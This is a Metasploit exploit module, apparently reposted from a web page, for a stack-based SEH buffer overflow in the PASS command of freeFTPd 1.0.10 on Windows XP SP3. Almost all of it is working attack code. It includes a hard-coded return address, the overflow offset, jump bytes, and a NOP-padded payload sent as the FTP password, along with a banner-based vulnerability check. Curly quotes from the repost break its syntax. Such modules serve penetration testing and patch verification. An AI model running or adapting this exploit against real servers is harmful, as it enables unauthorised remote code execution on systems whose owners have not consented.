freeFTPd 1.0.10 PASS Command SEH Overflow (msf)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => ‘freeFTPd 1.0.10 PASS Command SEH Overflow’,
‘Description’ => %q{
This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
credit goes to Wireghoul.

},
‘Author’ =>
[
‘Wireghoul – www.justanotherhacker.com’, # original poc
‘Muhamad Fadzil Ramli ‘, # metasploit module
],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[ ‘OSVDB’, ‘96517’ ],
[ ‘EDB’, ‘27747’ ]
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘seh’
},
‘Privileged’ => false,
‘Payload’ =>
{
‘Space’ => 600,
‘BadChars’ => “\x00\x20\x0a\x0d”,
#’DisableNops’ => true
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[ ‘Windows XP English SP3’, { ‘Ret’ => 0x00414226 , ‘Offset’ => 952 } ],
],
‘DisclosureDate’ => ‘Aug 21 2013’,
‘DefaultTarget’ => 0))
end

def check
connect
disconnect

if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
connect

payload_size = payload.encoded.length

buf = make_nops(1000)
buf[(target[‘Offset’]-11) – payload_size, payload_size] = payload.encoded
buf[target[‘Offset’]-5,5] = “\xe9\x98\xfe\xff\xff”
buf[target[‘Offset’],4] = [0xfffff9eb].pack(“V”)
buf[target[‘Offset’]+4,4] = [target.ret].pack(“V”)

print_status(“Sending exploit buffer…”)

#buffer = Rex::Text.pattern_create(1000)
send_user(datastore[‘FTPUSER’])
send_pass(buf)

handler
disconnect
end

end

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